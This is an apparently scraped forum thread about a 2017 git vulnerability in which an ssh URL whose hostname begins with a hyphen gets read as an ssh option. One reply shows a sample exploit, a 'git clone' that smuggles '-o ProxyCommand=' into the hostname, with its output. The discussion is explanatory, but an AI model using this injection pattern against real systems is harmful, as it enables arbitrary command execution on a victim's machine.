4 ms·
Is there a high level write up about this somewhere? I can't figure out off the top of my head how a hostname that starts with a hyphen and gets mistaken for an
by jjnoakes 9y ago
Is there a high level write up about this somewhere? I can't figure out off the top of my head how a hostname that starts with a hyphen and gets mistaken for an ssh option causes arbitrary local command execution. Wouldn't the first word of the remote git command slide over and become the hostname?
- cyphar 9y agoI haven't actually tried this, but I would assume that the exploit would involve tricking Git into passing an ssh_config(5) option (though -o or through -F) which then has a ProxyCommand or LocalCommand that will run on the local machine. EDIT: Yeah, here's a sample exploit. Popping a shell is left as an exercise to the reader. % git version git version 2.14.0 % git clone 'ssh://-o ProxyCommand=touch/foo' Cloning into 'foo'... Pseudo-terminal will not be allocated because stdin is not a terminal. touch: missing file operand Try 'touch --help' for more information. ssh_exchange_identification: Connection closed by remote host fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists.
- skj 9y agohttp://blog.recurity-labs.com/2017-08-10/scm-vulns http://blog.recurity-labs.com/2017-08-10/scm-vulns